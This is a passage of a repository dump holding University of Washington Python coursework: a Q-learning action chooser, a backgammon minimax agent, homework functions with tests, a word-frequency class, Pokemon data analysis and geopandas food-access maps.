epsilon-greedy learning here.\n # In order to access q-values, simply get them from the dictionary, e.g.,\n # some_qval = Q_VALUES[(some_state, some_action)]\n some_action = ACTIONS[0] # a placeholder, so some action is returned.\n q = -math.inf\n if (EPSILON > 0 or CUSTOM_EPSILON):\n rand = random.random()\n if (CUSTOM_EPSILON):\n if (new_ep >= rand):\n some_action = random.choice(ACTIONS)\n else:\n for act in ACTIONS:\n if (Q_VALUES[(s, act)] == max(q, Q_VALUES[(s, act)])):\n q = Q_VALUES[(s, act)]\n some_action = act\n else:\n if (EPSILON >= rand):\n some_action = random.choice(ACTIONS)\n else:\n for act in ACTIONS:\n if (Q_VALUES[(s, act)] == max(q, Q_VALUES[(s, act)])):\n q = Q_VALUES[(s, act)]\n some_action = act\n LAST_ACTION = some_action # remember this for next time\n PREVIOUS_STATE = s # \" \" \" \" \"\n return some_action\n\n\nPolicy = {}\n\n\ndef extract_policy(S, A):\n '''Return a dictionary mapping states to actions. Obtain the policy\n using the q-values most recently computed.\n Ties between actions having the same (s, a) value can be broken arbitrarily.\n Reminder: goal states should map to the Exit action, and no other states\n should map to the Exit action.\n '''\n global Policy\n Policy = {}\n q = -math.inf\n result = A[0]\n for state in S:\n if is_valid_goal_state(state):\n Policy[state] = \"Exit\"\n elif state == Terminal_state:\n Policy[state] = None\n else:\n for action in A:\n if (Q_VALUES[(state, action)] == max(q, Q_VALUES[(state, action)])):\n result = action\n q = Q_VALUES[(state, action)]\n Policy[state] = result\n return Policy\n" }, { "alpha_fraction": 0.5454545617103577, "alphanum_fraction": 0.5454545617103577, "avg_line_length": 15.5, "blob_id": "a0e6e37643f8edb61f1630bc9bb09497463cd8f4", "content_id": "3df06f13b97c5331f51f642f01ae1a013658e8ad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 33, "license_type": "no_license", "max_line_length": 21, "num_lines": 2, "path": "/Advanced Data Programming/test/my_file.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "def foo():\n print('Foo runs')\n" }, { "alpha_fraction": 0.4997498691082001, "alphanum_fraction": 0.5115891098976135, "avg_line_length": 33.0625, "blob_id": "3fed826c6da7292e1bcf4996835ab95751988447", "content_id": "1cfed3cd2f15a5827962f72d1f4b04e1ff77cb80", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5997, "license_type": "no_license", "max_line_length": 91, "num_lines": 176, "path": "/Introduction to Artificial Intelligence/Lab 3/agents/backgammon_dsbg.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "'''\nName(s): Khoa Tran\nUW netid(s): [email protected]\n'''\n\nfrom game_engine import genmoves\nimport math\n\nW = 0\nR = 1\n\n\nclass BackgammonPlayer:\n def __init__(self):\n self.GenMoveInstance = genmoves.GenMoves()\n self.maxply = 3\n self.curr_state = None\n self.prune = False\n self.num_states = -1\n self.cutoffs = -1\n self.evalFunc = self.staticEval\n\n # returns a string representing a unique nick name for your agent\n def nickname(self):\n # TODO: return a string representation of your UW netid(s)\n return \"ktdt01\"\n\n # If prune==True, changes the search algorthm from minimax\n # to Alpha-Beta Pruning\n def useAlphaBetaPruning(self, prune=False):\n self.prune = prune\n self.num_states = 0\n self.cutoffs = 0\n\n # Returns a tuple containing the number explored\n # states as well as the number of cutoffs.\n def statesAndCutoffsCounts(self):\n return (self.num_states, self.cutoffs)\n\n # Given a ply, it sets a maximum for how far an agent\n # should go down in the search tree. If maxply==-1,\n # no limit is set\n def setMaxPly(self, maxply=-1):\n self.maxply = maxply\n\n # If not None, it update the internal static evaluation\n # function to be func\n def useSpecialStaticEval(self, func):\n if func is not None:\n self.evalFunc = func\n\n def initialize_move_gen_for_state(self, state, who, die1, die2):\n self.move_generator = self.GenMoveInstance.gen_moves(\n state, who, die1, die2)\n # Given a state and a roll of dice, it returns the best move for\n # the state.whose_move\n\n def move(self, state, die1=1, die2=6):\n result_move = None\n agent = state.whose_move\n self.initialize_move_gen_for_state(state, agent, die1, die2)\n move_list = self.get_all_possible_moves()\n if agent == R:\n num = math.inf\n for item in move_list:\n if not self.prune:\n alpha = None\n beta = None\n else:\n alpha = -math.inf\n beta = math.inf\n score = self.minimax(item[1], die1, die2, W, self.maxply, alpha, beta)\n if (num > score):\n num = score\n result_move = item[0]\n else:\n num = -math.inf\n for item in move_list:\n if not self.prune:\n alpha = None\n beta = None\n else:\n alpha = -math.inf\n beta = math.inf\n score = self.minimax(item[1], die1, die2, R, self.maxply, alpha, beta)\n if (num < score):\n num = score\n result_move = item[0]\n return result_move\n\n\n\n # Given a state, returns an integer which represents how good the state is\n # for the two players (W and R) -- more positive numbers are good for W\n # while more negative numbers are good for R\n def staticEval(self, state):\n barList = state.bar\n whiteOff = state.white_off\n redOff = state.red_off\n agent = state.whose_move\n count_red = 0\n count_white = 0\n count_white += (200 * len(whiteOff))\n count_red += (20 * len(redOff))\n if agent == R:\n count_red += 2\n elif agent == W:\n count_white += 2\n for item in barList:\n if (item == W):\n count_white -= 20\n else:\n count_red -= 20\n if genmoves.bearing_off_allowed(state, R):\n count_red += 40\n elif genmoves.bearing_off_allowed(state, W):\n count_white += 40\n \n return count_white - count_red\n \n def get_all_possible_moves(self):\n \"\"\"Uses the mover to generate all legal moves. Returns an array of move commands\"\"\"\n move_list = []\n done_finding_moves = False\n any_non_pass_moves = False\n while not done_finding_moves:\n try:\n m = next(self.move_generator) # Gets a (move, state) pair.\n # print(\"next returns: \",m[0]) # Prints out the move. For debugging.\n if m[0] != 'p':\n any_non_pass_moves = True\n move_list.append(m) # Add the move to the list.\n except StopIteration as e:\n done_finding_moves = True\n if not any_non_pass_moves:\n move_list.append('p')\n return move_list\n\n def minimax(self, state, die1, die2, agent, plyLeft, alpha, beta):\n if (len(state.white_off) == 15 or len(state.red_off) == 15 or plyLeft == 0):\n return self.staticEval(state)\n who_move = 0\n if agent == R:\n who_move = W\n else:\n who_move = R\n self.num_states += 1\n self.initialize_move_gen_for_state(state, who_move, die1, die2)\n move_list = self.get_all_possible_moves()\n if move_list[0] == 'p':\n return self.staticEval(state)\n num = 0\n if agent == W:\n num = math.inf\n for item in move_list:\n score = self.minimax(item[1], die1, die2, R, plyLeft - 1, alpha, beta)\n if (num > score):\n num = score\n if(alpha and beta):\n beta = min(beta, score)\n if beta <= alpha:\n self.cutoffs += 1\n break\n return num\n else:\n num = -math.inf\n for item in move_list:\n score = self.minimax(item[1], die1, die2, W, plyLeft - 1, alpha, beta)\n if (num < score):\n num = score\n if(alpha and beta):\n alpha = max(alpha, score)\n if beta <= alpha:\n self.cutoffs += 1\n break\n return num\n\n\n" }, { "alpha_fraction": 0.6498194932937622, "alphanum_fraction": 0.6534296274185181, "avg_line_length": 18.10344886779785, "blob_id": "7e52633f8575ca5fcd0d300a2e93f332f5d54a4d", "content_id": "3f04747d0bd22430dc962ee19cf9fd106ec6cfba", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 558, "license_type": "no_license", "max_line_length": 74, "num_lines": 29, "path": "/Advanced Data Programming/test/main.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "import sys\n\nimport geopandas\nimport numpy\nimport pandas\nimport requests\nimport seaborn\nimport sklearn\nimport skimage\n\nfrom my_file import foo\n\nEXPECTED_MAJOR = 3\nEXPECTED_MINOR = 7\n\n\ndef main():\n print('Main runs');\n foo();\n\n version = sys.version_info\n if version.major != EXPECTED_MAJOR or version.minor != EXPECTED_MINOR:\n print('⚠️ Warning! Detected Python version '\n f'{version.major}.{version.minor} but expected version '\n f'{EXPECTED_MAJOR}.{EXPECTED_MINOR}')\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.5708240270614624, "alphanum_fraction": 0.6325616240501404, "avg_line_length": 26.89583396911621, "blob_id": "92cf9400d5a892971ce1423be74e425942130832", "content_id": "db6b20a96da374fd2232a80959a96ce2cd42fca3", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4017, "license_type": "no_license", "max_line_length": 72, "num_lines": 144, "path": "/Advanced Data Programming/hw1/hw1_test.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nTests the functions in the program hw1\n\"\"\"\n\n\nimport hw1\n\nfrom cse163_utils import assert_equals\n\n\ndef test_total():\n \"\"\"\n Tests the total method in hw1\n \"\"\"\n # The regular case\n assert_equals(15, hw1.total(5))\n # Seems likely we could mess up 0 or 1\n assert_equals(1, hw1.total(1))\n assert_equals(0, hw1.total(0))\n # Test the None case\n assert_equals(None, hw1.total(-1))\n\n\ndef test_count_divisible_digits():\n \"\"\"\n Tests the count_divisible_digits method in hw1\n \"\"\"\n # Spec test\n assert_equals(4, hw1.count_divisible_digits(650899, 3))\n assert_equals(1, hw1.count_divisible_digits(-204, 5))\n assert_equals(0, hw1.count_divisible_digits(24, 5))\n assert_equals(0, hw1.count_divisible_digits(1, 0))\n # Addtional test\n assert_equals(3, hw1.count_divisible_digits(123456, 2))\n assert_equals(6, hw1.count_divisible_digits(765853, 1))\n\n\ndef test_is_relatively_prime():\n \"\"\"\n Tests the is_relatively_prime method in hw1\n \"\"\"\n # Spec test\n assert_equals(True, hw1.is_relatively_prime(12, 13))\n assert_equals(False, hw1.is_relatively_prime(12, 14))\n assert_equals(True, hw1.is_relatively_prime(5, 9))\n assert_equals(True, hw1.is_relatively_prime(8, 9))\n assert_equals(True, hw1.is_relatively_prime(8, 1))\n # Addtional test\n assert_equals(True, hw1.is_relatively_prime(17, 15))\n assert_equals(False, hw1.is_relatively_prime(8, 4))\n\n\ndef test_travel():\n \"\"\"\n Tests the travel method in hw1\n \"\"\"\n # Spec test\n assert_equals((-1, 4), hw1.travel('NW!ewnW', 1, 2))\n # Addtional test\n assert_equals((3, 2), hw1.travel('senW..N', 3, 1))\n assert_equals((-3, 3), hw1.travel('NnnwwW', 0, 0))\n\n\ndef test_compress():\n \"\"\"\n Tests the compress method in hw1\n \"\"\"\n # Spec test\n assert_equals('c1o17l1k1a1n1g1a1r1o3',\n hw1.compress('cooooooooooooooooolkangarooo'))\n assert_equals('a3', hw1.compress('aaa'))\n assert_equals('', hw1.compress(''))\n # Addtional test\n assert_equals('c1a1b2a1g1e1', hw1.compress('cabbage'))\n assert_equals('b4a2o1r1o3', hw1.compress('bbbbaaorooo'))\n\n\ndef test_longest_line_length():\n \"\"\"\n Tests the longest_line_length method in hw1\n \"\"\"\n # Spec test\n assert_equals(35, hw1.longest_line_length('/home/song.txt'))\n # Addtional test\n assert_equals(None, hw1.longest_line_length('/home/empty.txt'))\n assert_equals(15, hw1.longest_line_length('/home/oneliner.txt'))\n\n\ndef test_longest_word():\n \"\"\"\n Tests the longest_word method in hw1\n \"\"\"\n # Spec test\n assert_equals('3: Merrily,', hw1.longest_word('/home/song.txt'))\n # Addtional test\n assert_equals(None, hw1.longest_word('/home/empty.txt'))\n assert_equals('1: everyone', hw1.longest_word('/home/oneliner.txt'))\n\n\ndef test_get_average_in_range():\n \"\"\"\n Tests the get_average_in_range method in hw1\n \"\"\"\n # Spec test\n assert_equals(5.5, hw1.get_average_in_range([1, 5, 6, 7, 9], 5, 7))\n assert_equals(2.0, hw1.get_average_in_range([1, 2, 3], -1, 10))\n # Addtional test\n assert_equals(2, hw1.get_average_in_range([1, 3, 4, 2], 1, 4))\n assert_equals(5, hw1.get_average_in_range([4, 3, 5, 6, 7, 9], 3, 8))\n assert_equals(0, hw1.get_average_in_range([], 3, 8))\n assert_equals(0, hw1.get_average_in_range([4, 3, 5, 6, 7, 9], 8, 2))\n\n\ndef test_mode_digit():\n \"\"\"\n Tests the mode_digit method in hw1\n \"\"\"\n # Spec test\n assert_equals(1, hw1.mode_digit(12121))\n assert_equals(0, hw1.mode_digit(0))\n assert_equals(2, hw1.mode_digit(-122))\n assert_equals(2, hw1.mode_digit(1211232231))\n # Addtional test\n assert_equals(6, hw1.mode_digit(-32566))\n assert_equals(3, hw1.mode_digit(222333))\n\n\ndef main():\n test_total()\n test_count_divisible_digits()\n test_is_relatively_prime()\n test_travel()\n test_compress()\n test_longest_line_length()\n test_longest_word()\n test_get_average_in_range()\n test_mode_digit()\n\n\nif __name__ == '__main__':\n main()\n" }, { "alpha_fraction": 0.8347417712211609, "alphanum_fraction": 0.8347417712211609, "avg_line_length": 132.125, "blob_id": "eba9a4b8b1590c5f0513b6835695c9171904a664", "content_id": "1924a8666d603602038df823d4d89bfffb52a1a0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1065, "license_type": "no_license", "max_line_length": 477, "num_lines": 8, "path": "/README.md", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "# UW-Python-AI-Coursework-Projects\n## Coursework and projects regarding data programming and artificial intelligence in Python at the University of Washington\n\n### Introduction to Artificial Intelligence:\nExamines concepts, principles, and programming techniques of artificial intelligence in Python, along with concepts of symbol manipulation, knowledge representation, logical and probabilistic reasoning, learning, language understanding, vision, expert systems, and social issues. Lab and coursework provide knowledge in concepts described above.\n\n### Intermediate Data Programming:\nExploration of topics related to data programming, more specifically, composing programs that manipulate various data types, leveraging the ecosystem of tools and libraries related to data programming in Python. The final project is an application examining differences in various streaming services as well as imposing a machine learning library to predict future streaming service availability of different T.V. shows or movies based on genre, production crew, and much more. " }, { "alpha_fraction": 0.5171530842781067, "alphanum_fraction": 0.5212493538856506, "avg_line_length": 27.72058868408203, "blob_id": "2c178e6b16174880978719a7abdbf6990b625818", "content_id": "e1b2dd820f0a250d1f5a2f5a765f9858c81b6d85", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1953, "license_type": "no_license", "max_line_length": 65, "num_lines": 68, "path": "/Advanced Data Programming/hw4/document.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis class creates Document type objects that\ncan tracks data on a text file. The data includes the\nlist of unique words and the frequency of each word.\n\"\"\"\nimport re\n\n\nclass Document:\n\n def __init__(self, filename):\n \"\"\"\n Initialize Document object by mapping each word\n in the given file name to the number of times\n that the word appears in the file\n \"\"\"\n self._filename = filename\n self._wdict = dict()\n self._wcount = 0\n with open(filename) as file:\n lines = file.readlines()\n for line in lines:\n words = line.split()\n for word in words:\n word = re.sub(r'\\W+', '', word)\n word = word.lower()\n self._wcount += 1\n if word not in self._wdict.keys():\n self._wdict[word] = 1\n else:\n self._wdict[word] = self._wdict[word] + 1\n\n def get_path(self):\n \"\"\"\n Returns the path of the file this Document represents\n \"\"\"\n return str(self._filename)\n\n def term_frequency(self, term):\n \"\"\"\n Given a term, returns the\n frequency of the given term in file,\n by taking the times it appears in the file and\n dividing with the the total word count of the file\n \"\"\"\n term = re.sub(r'\\W+', '', term)\n term = term.lower()\n if term in self._wdict.keys():\n tfrequency = (self._wdict[term])/(self._wcount)\n return tfrequency\n else:\n return 0\n\n def get_words(self):\n \"\"\"\n Returns a list of unique words in the file\n \"\"\"\n return (list(self._wdict.keys()))\n\n def __repr__(self):\n \"\"\"\n Returns the string representation of\n the document object as document's path\n \"\"\"\n return self._filename\n" }, { "alpha_fraction": 0.5675253868103027, "alphanum_fraction": 0.5807962417602539, "avg_line_length": 21.473684310913086, "blob_id": "b64004df75767f608923670f26cb938b09476b5d", "content_id": "3e1b8c15901d79a5485b1140147b84577ec72f0e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1281, "license_type": "no_license", "max_line_length": 58, "num_lines": 57, "path": "/Advanced Data Programming/hw0/hw0.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nImplements the functions funky_sum\nand total for HW0\n\"\"\"\n\n\ndef funky_sum(a, b, mix):\n \"\"\"\n Function that takes in three number inputs\n and implements linear interpolation by\n taking the last number and based on it, returns either\n the first or second number or a calculated number\n from an equation with all three inputs\n \"\"\"\n if mix <= 0:\n return a\n elif mix >= 1:\n return b\n else:\n return ((1 - mix) * a) + (mix * b)\n\n\ndef total(n):\n \"\"\"\n Function that takes in a number input\n and returns None if the number is negative,\n if not, return the sum of the integers\n from 0 to the given integer(inclusive)\n \"\"\"\n if n < 0:\n return None\n else:\n result = 0\n for i in range(n + 1):\n result += i\n return result\n\n\ndef swip_swap(source, c1, c2):\n \"\"\"\n Function that takes a string input and\n two different characters and returns\n the string with all occurences of the\n given characters swapped.\n \"\"\"\n list = []\n for i in range(len(source)):\n if source[i] == c1:\n list.append(c2)\n elif source[i] == c2:\n list.append(c1)\n else:\n list.append(source[i])\n return ''.join(list)\n" }, { "alpha_fraction": 0.755786120891571, "alphanum_fraction": 0.7757382392883301, "avg_line_length": 32.83783721923828, "blob_id": "310bf6ed7894e2a75f6476b0652dc0a71b403cd4", "content_id": "4d9f66d3a66709db218fc8f4417343b5e2bc65ac", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Text", "length_bytes": 1253, "license_type": "no_license", "max_line_length": 76, "num_lines": 37, "path": "/Introduction to Artificial Intelligence/Lab 5/README.txt", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "README.txt\n\nRun this software from IDLE (available from python.org) for Python 3.x,\nunless you know how to configure Tkinter to run under other environments\nsuch as PyCharm, etc. If you are making changes to the files, you can\nalways edit in PyCharm and run from IDLE, and you won't have to configure\nPyCharm differently.\n\nThis is Version 9 (released Feb. 10, 2021) of the support code\nfor Assignment 5 in CSE 415, University of Washington, Winter 2021.\n\nThe only changes from Version 8 (Feb. 2018) have to do with file\nnaming, so no editing will be necessary for importing from\nTOH_MDP.py.\n\nWritten by S. Tanimoto, with feedback from R. Thompson, for CSE 415\nand from students in the class.\n\nTo start the GUI, type the following, in the same folder\nas the code.\n\npython3 TOH_MDP.py\n\nAs in the previous release ...\n\nNote that the sample script suggests how to automate setup for doing\nQ-Learning experiments.\n\nThe user can only show a policy when it is safe (a policy can be extracted),\nassuming your extract_policy methods work.\n\nPolicy display is persistent with automatic updating whenever Q values\nchange.\n\nIndependent policies are stored and displayed... one for VI and one for\nQL. This also means you can view both at the same time, in different\ncolors.\n\n" }, { "alpha_fraction": 0.4840129613876343, "alphanum_fraction": 0.4969879388809204, "avg_line_length": 22.714284896850586, "blob_id": "2a0042d38b10f6c4639988b12112e8ee795b480e", "content_id": "8205d7bd542b87b923467fa3df9a0a04743efa53", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4316, "license_type": "no_license", "max_line_length": 72, "num_lines": 182, "path": "/Advanced Data Programming/hw1/hw1.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nProgram that implements the solution code for various problems presented\n\"\"\"\n\n\ndef total(n):\n \"\"\"\n Returns the sum of the numbers from 0 to n (inclusive).\n If n is negative, returns None.\n \"\"\"\n if n < 0:\n return None\n else:\n result = 0\n for i in range(n + 1):\n result += i\n return result\n\n\ndef count_divisible_digits(n, m):\n \"\"\"\n Returns the number of digits in the given number that are divisible\n by the other given number\n \"\"\"\n result = 0\n if m == 0:\n return 0\n n = abs(n)\n while n != 0:\n temp = n % 10\n if temp % m == 0:\n result += 1\n n = n // 10\n return result\n\n\ndef is_relatively_prime(n, m):\n \"\"\"\n Returns whether two numbers are prime relative to one another,\n meaning if the only common factor is \"1\" between the two numbers,\n function returns True\n \"\"\"\n result = True\n larger = n\n if m > n:\n larger = m\n for i in range(1, larger + 1):\n if n % i == 0 and m % i == 0:\n if i == 1:\n result = True\n else:\n result = False\n return result\n\n\ndef travel(direction, x, y):\n \"\"\"\n Returns a final coordinate of x and y\n based on given instructions of cardinal directions\n from the given string\n \"\"\"\n x_new = x\n y_new = y\n for i in range(len(direction)):\n test = direction[i].lower()\n if test == 'n':\n y_new += 1\n elif test == 's':\n y_new -= 1\n elif test == 'e':\n x_new += 1\n elif test == 'w':\n x_new -= 1\n return (x_new, y_new)\n\n\ndef compress(word):\n \"\"\"\n Returns a string in which each letter is followed by count of\n the same characters adjacent to it from the passed string\n \"\"\"\n temp = []\n for i in range(len(word)):\n if word[i] in temp and word[i] == word[i - 1]:\n if temp[len(temp) - 2] == word[i]:\n last = int(temp[len(temp) - 1]) + 1\n temp[len(temp) - 1] = str(last)\n else:\n num = temp.index(word[i]) + 1\n val = int(temp[num]) + 1\n temp[num] = str(val)\n else:\n temp.append(word[i])\n temp.append(str(1))\n return ''.join(temp)\n\n\ndef longest_line_length(file_name):\n \"\"\"\n Returns the length of the longest line in given file.\n Returns None if the file is empty\n \"\"\"\n result = 0\n with open(file_name) as file:\n lines = file.readlines()\n for line in lines:\n if len(line) > result:\n result = len(line)\n if result <= 1:\n return None\n else:\n return result\n\n\ndef longest_word(file_name):\n \"\"\"\n Returns the longest word in a file and along with its line number.\n Returns None if the file is empty\n \"\"\"\n longest = 0\n linenum = 0\n finalnum = 0\n result = ''\n with open(file_name) as file:\n lines = file.readlines()\n for line in lines:\n linenum += 1\n words = line.split()\n for word in words:\n if len(word) > longest:\n longest = len(word)\n result = word\n finalnum = linenum\n if longest == 0:\n return None\n return str(finalnum) + ': ' + result\n\n\ndef get_average_in_range(list, low, high):\n \"\"\"\n Returns the average of the digits in the given list\n that is in the range between the given low (inclusive)\n and the high (exclusive) integers\n \"\"\"\n track = 0\n val = 0\n for num in list:\n if num >= low and num < high:\n val += num\n track += 1\n if track == 0:\n return 0\n return val / track\n\n\ndef mode_digit(n):\n \"\"\"\n Returns the digit that most commonly occur in given integer\n \"\"\"\n temp = dict()\n result = 0\n most = 0\n n = abs(n)\n while n != 0:\n val = n % 10\n if val in temp:\n temp[val] += 1\n else:\n temp[val] = 1\n n = n // 10\n for k, v in temp.items():\n if v >= most:\n if v == most:\n if k > result:\n result = k\n else:\n most = v\n result = k\n return result\n" }, { "alpha_fraction": 0.6083388328552246, "alphanum_fraction": 0.6116217970848083, "avg_line_length": 25.719297409057617, "blob_id": "99df4afe21a128cba755b09dc2cfb1a15b86b8fe", "content_id": "8119e0800db4fb1124a7bd3f650fcbebaf4daa1e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 3046, "license_type": "no_license", "max_line_length": 75, "num_lines": 114, "path": "/Advanced Data Programming/hw2/hw2_manual.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program performs analysis on a given Pokemon data file,\ngiving various information like average attack levels for a particular type\nor number of species and much more.\n\"\"\"\n\n\ndef species_count(data):\n \"\"\"\n Returns the number of unique species in the\n given file\n \"\"\"\n result = set()\n for species in data:\n result.add(species['name'])\n return len(result)\n\n\ndef max_level(data):\n \"\"\"\n Returns a tuple with the name and level of the Pokemon\n that has the highest level\n \"\"\"\n level = data[0]\n for species in data:\n if species['level'] > level['level']:\n level = species\n return (level['name'], level['level'])\n\n\ndef filter_range(data, low, high):\n \"\"\"\n Returns a list of Pokemon names having a level that is\n larger or equal to the lower given range and less than\n the higher given range\n \"\"\"\n result = []\n for species in data:\n if species['level'] >= low and species['level'] < high:\n result.append(species['name'])\n return result\n\n\ndef mean_attack_for_type(data, string):\n \"\"\"\n Returns the average attack for all Pokemon\n in dataset with the given type\n\n Special Case: If the dataset does not contain the given type,\n returns 'None'\n \"\"\"\n count = 0\n attack_total = 0\n for species in data:\n if species['type'] == string:\n attack_total += species['atk']\n count += 1\n if count == 0:\n return None\n else:\n return attack_total / count\n\n\ndef count_types(data):\n \"\"\"\n Returns a dictionary of Pokemon with the types\n as the keys and the values as the corresponding\n number of times that the type appears in the dataset\n \"\"\"\n result = dict()\n for species in data:\n if species['type'] in result:\n result[species['type']] += 1\n else:\n result[species['type']] = 1\n return result\n\n\ndef highest_stage_per_type(data):\n \"\"\"\n Returns a dictionary with the key as the type of\n Pokemon and the value as the highest stage reached for\n the corresponding type in the dataset\n \"\"\"\n result = dict()\n for species in data:\n if species['type'] in result:\n if result[species['type']] < species['stage']:\n result[species['type']] = species['stage']\n else:\n result[species['type']] = species['stage']\n return result\n\n\ndef mean_attack_per_type(data):\n \"\"\"\n Returns a dictionary with the key as the type of Pokemon\n and the value as the average attack for\n the corresponding Pokemon type in the dataset\n \"\"\"\n total_attack = dict()\n result = dict()\n type_count = count_types(data)\n for species in data:\n if species['type'] in total_attack:\n total_attack[species['type']] += species['atk']\n else:\n total_attack[species['type']] = species['atk']\n for pokemon in total_attack.keys():\n result[pokemon] = total_attack[pokemon] / type_count[pokemon]\n return result\n" }, { "alpha_fraction": 0.6133229732513428, "alphanum_fraction": 0.6414837837219238, "avg_line_length": 32.653594970703125, "blob_id": "43b50fc656bfa684fd81506d166288f9468de14b", "content_id": "538f1c0dbc18a7a4fe055e2890c698729d4dd59f", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 5149, "license_type": "no_license", "max_line_length": 78, "num_lines": 153, "path": "/Advanced Data Programming/hw5/hw5_main.py", "repo_name": "getachew67/UW-Python-AI-Coursework-Projects", "src_encoding": "UTF-8", "text": "\"\"\"\nKhoa Tran\nCSE 163 AB\n\nThis program implements the functions from geopandas,\npandas, and matplotlib to create a dataset that is a\ncombination of two files and create the geometry of\nevery census tract in Washington and ouputs information\nfor food access for Washington's censys tracts. Plots the\ncensus tracts in multiple ways especially with colorings to\ndisplay various information\n\"\"\"\nimport geopandas as gpd\nimport pandas as pd\nimport matplotlib.pyplot as plt\n\n\ndef load_in_data(file1, file2):\n \"\"\"\n From the given two file inputs,\n returns GeoDataFrame that merges\n both datasets of the file, keeping\n all census tracts in datset with geometry,\n and disregarding the rest.\n \"\"\"\n df1 = gpd.read_file(file1)\n df2 = pd.read_csv(file2)\n result = df1.merge(df2, left_on='CTIDFP00',\n right_on='CensusTract', how='left')\n return result\n\n\ndef percentage_food_data(data):\n \"\"\"\n From the given dataset, returns the\n percentage of census tracts that\n corresponds with the food access data.\n \"\"\"\n df = data['CensusTract']\n total = df.notnull().sum()\n length = len(df)\n temp = total/length\n percent = temp * 100\n return percent\n\n\ndef plot_map(data):\n \"\"\"\n From given dataset, outputs a plot\n of Washington with all census tracts.\n Save output in washington_map.png.\n \"\"\"\n data.plot()\n plt.savefig('washington_map.png')\n\n\ndef plot_population_map(data):\n \"\"\"\n From given dataset, outputs a map of\n Washington with censys tracts that is colored\n by population.\n Save plot output to washington_population_map.png.\n \"\"\"\n df = data.dropna()\n df.plot(legend=True, column='POP2010')\n plt.savefig('washington_population_map.png')\n\n\ndef plot_population_county_map(data):\n \"\"\"\n From given dataset, outputs a map of\n Washington with each county having a color to\n indicate their population.\n Save plot output to washington_county_population_map.png.\n \"\"\"\n df = data.dropna()\n df = df[['POP2010', 'County', 'geometry']]\n df = df.dissolve(by='County', aggfunc='sum')\n df.plot(column='POP2010', legend=True)\n plt.savefig('washington_county_population_map.png')\n\n\ndef plot_food_access_by_county(data):\n \"\"\"\n From given dataset, creates four different plots\n that each map Washington state and the counties it has,\n coloring the counties by various different values of\n food access chance as well as combining\n with different income levels.\n Save plot output to washington_county_food_access.png.\n \"\"\"\n df = data.dropna()\n df = df[['County', 'geometry', 'POP2010', 'lapophalf',\n 'lapop10', 'lalowihalf', 'lalowi10']]\n df = df.dissolve(by='County', aggfunc='sum')\n df['lapophalf_ratio'] = df['lapophalf'] / df['POP2010']\n df['lalowihalf_ratio'] = df['lalowihalf'] / df['POP2010']\n df['lapop10_ratio'] = df['lapop10'] / df['POP2010']\n df['lalowi10_ratio'] = df['lalowi10'] / df['POP2010']\n fig, [[ax1, ax2], [ax3, ax4]] = plt.subplots(2, figsize=(20, 10), ncols=2)\n df.plot(ax=ax1, legend=True, vmin=0, vmax=1, column='lapophalf_ratio')\n df.plot(ax=ax2, legend=True, vmin=0, vmax=1, column='lalowihalf_ratio')\n df.plot(ax=ax3, legend=True, vmin=0, vmax=1, column='lapop10_ratio')\n df.plot(ax=ax4, legend=True, vmin=0, vmax=1, column='lalowi10_ratio')\n ax1.set_title('Low Access: Half')\n ax2.set_title('Low Access + Low Income: Half')\n ax3.set_title('Low Access: 10')\n ax4.set_title('Low Access + Low Income: 10')\n fig.savefig('washington_county_food_access.png')\n\n\ndef plot_low_access_tracts(data):\n \"\"\"\n From given dataset, creates a plot with multiple layers\n that indicate food and census data. The combination of the\n layers maps the state of Washington, coloring census tracts\n to indicate the low access to food supplies.\n Save plot output to washington_low_access.png.\n \"\"\"\n fig, ax1 = plt.subplots(1)\n data.plot(color='#EEEEEE', ax=ax1)\n df = data.dropna()\n df.plot(color='#AAAAAA', ax=ax1)\n data['lapop10_ratio'] = data['lapop10'] / data['POP2010']\n data['lapophalf_ratio'] = data['lapophalf'] / data['POP2010']\n data['Low_Access_Urban'] = ((data['Urban'] == 1) &\n ((data['lapophalf_ratio'] >= 0.33)\n | (data['lapophalf'] >= 500)))\n data['Low_Access_Rural'] = ((data['Rural'] == 1) &\n ((data['lapop10_ratio'] >= 0.33)\n | (data['lapop10'] >= 500)))\n data = data[(data['Low_Access_Urban'])\n | (data['Low_Access_Rural'])]\n data.plot(ax=ax1)\n fig.savefig('washington_low_access.png')\n\n\ndef main():\n \"\"\"\n Load data and runs all functions with the data\n \"\"\"\n data = load_in_data('/course/food-access/tl_2010_53_tract00/\\\ntl_2010_53_tract00.shp', '/course/food-access/food-access.csv')\n percentage_food_data(data)\n 